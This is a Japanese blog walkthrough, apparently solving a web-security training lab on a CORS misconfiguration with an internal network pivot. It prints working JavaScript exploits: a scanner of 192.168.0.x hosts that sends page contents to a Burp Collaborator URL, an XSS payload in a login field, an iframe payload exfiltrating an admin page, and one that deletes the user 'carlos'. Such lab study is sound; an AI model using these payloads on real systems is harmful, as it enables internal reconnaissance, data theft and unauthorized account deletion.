Shikata Ga Nai

Private? There is no such things.

CORS vulnerability with internal network pivot attackをやってみた

Hello there, ('ω')ノ

 

内部ネットワークピボット攻撃によるCORSの脆弱性を。

このWebサイトには、すべての内部ネットワークオリジンを信頼するという点で。

安全でないCORS構成があって。

JavaScriptで、ローカルネットワーク上のエンドポイントを見つけて。

これを使用して、ユーザを削除するCORSベースの攻撃を特定して作成できて。

 

まずは、サイトにアクセスして。

 

f:id:ThisIsOne:20210518164859p:plain

 

エンドポイントのローカルネットワークをスキャンすることに。

コラボレータを起動して。

 

f:id:ThisIsOne:20210518150326p:plain

 

下記のコードは、すべてのIPアドレスの範囲内にリクエストを行って。

存在するものを要求すると停止して、要求されたページをサーバに記録して。

<script>
 var q = [], collaboratorURL =   r'http://lk9t4f7usaybp18il80py7p8lzrpfe.burpcollaborator.net';


 for(i=1;i<=255;i++){
  q.push(
   function(url){
    return function(wait){
     fetchUrl(url,wait);
    }
   }('http://192.168.0.'+i+':8080'));

 }


 for(i=1;i<=20;i++){
  if(q.length)q.shift()(i*100);
 }


 function fetchUrl(url, wait){
  var controller = new AbortController(), signal = controller.signal;
  fetch(url, {signal}).then(r=>r.text().then(text=>
   {
   location = collaboratorURL + '?     ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
   }
  ))
  .catch(e => {
   if(q.length) {
    q.shift()(wait);
   }
  });


  setTimeout(x=>{
   controller.abort();
   if(q.length) {
    q.shift()(wait);
   }
  }, wait);
 }
</script>

 

エクスプロイトサーバに挿入して、SoreしてDeliverして。

 

f:id:ThisIsOne:20210518150600p:plain

 

f:id:ThisIsOne:20210518150714p:plain

 

IPアドレスを取得して。

 

f:id:ThisIsOne:20210518151911p:plain


下記のコードにコラボレータのやり取りから取得したIPアドレスを挿入して。

XSSの脆弱性についてユーザ名フィールドを調査して。

URLでfoundXSS=1のコラボレータインタラクションを取得する必要があって。

でないと、ログにfoundXSS=1が表示されるので。

 

<script>
 function xss(url, text, vector) {
  location = url + '/login? time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
 }

 

 function fetchUrl(url, collaboratorURL){
  fetch(url).then(r=>r.text().then(text=>
   {
    xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
   }
  ))
 }

 

 fetchUrl("http://192.168.0.55:8080",  "http://qa48vk5spqvo8ctezlcruxjeu50xom.burpcollaborator.net");
</script>

 

f:id:ThisIsOne:20210518151957p:plain


次に下記のコードに先ほどのIPアドレスとコラボレータのペイロードをセットして。

Deliverするとコラボレータに管理ページのソースコードが表示されて。

 

<script>

 function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
 }


 function fetchUrl(url, collaboratorURL){
  fetch(url).then(r=>r.text().then(text=>
   {
    xss(url, text, '"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">');
   }
  ))
 }

 

 fetchUrl("http://192.168.0.55:8080",  "http://lk9t4f7usaybp18il80py7p8lzrpfe.burpcollaborator.net");
</script>

 

f:id:ThisIsOne:20210518154247p:plain

 

デコーダへ。

 

f:id:ThisIsOne:20210518153837p:plain

 

デコードしてソースコードを確認できて。

 

f:id:ThisIsOne:20210518154644p:plain

 

デコードしたソースコードには、carlosを削除できるフォームがあって。

同じようにこれまでと同じIPアドレスで。

/adminページを指すiframeを挿入して、carlosを削除するフォームをDeliverして。

 

<script>
 function xss(url, text, vector) {
  location = url + '/login?time='+Date.now()+'&username='+encodeURIComponent(vector)+'&password=test&csrf='+text.match(/csrf" value="([^"]+)"/)[1];
 }

 

 function fetchUrl(url){
  fetch(url).then(r=>r.text().then(text=>
   {
    xss(url, text, '"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">');
   }
  ))
 }

 

 fetchUrl("http://192.168.0.55:8080");
</script>

 

f:id:ThisIsOne:20210518154346p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210518154408p:plain

 

Best regards, (^^ゞ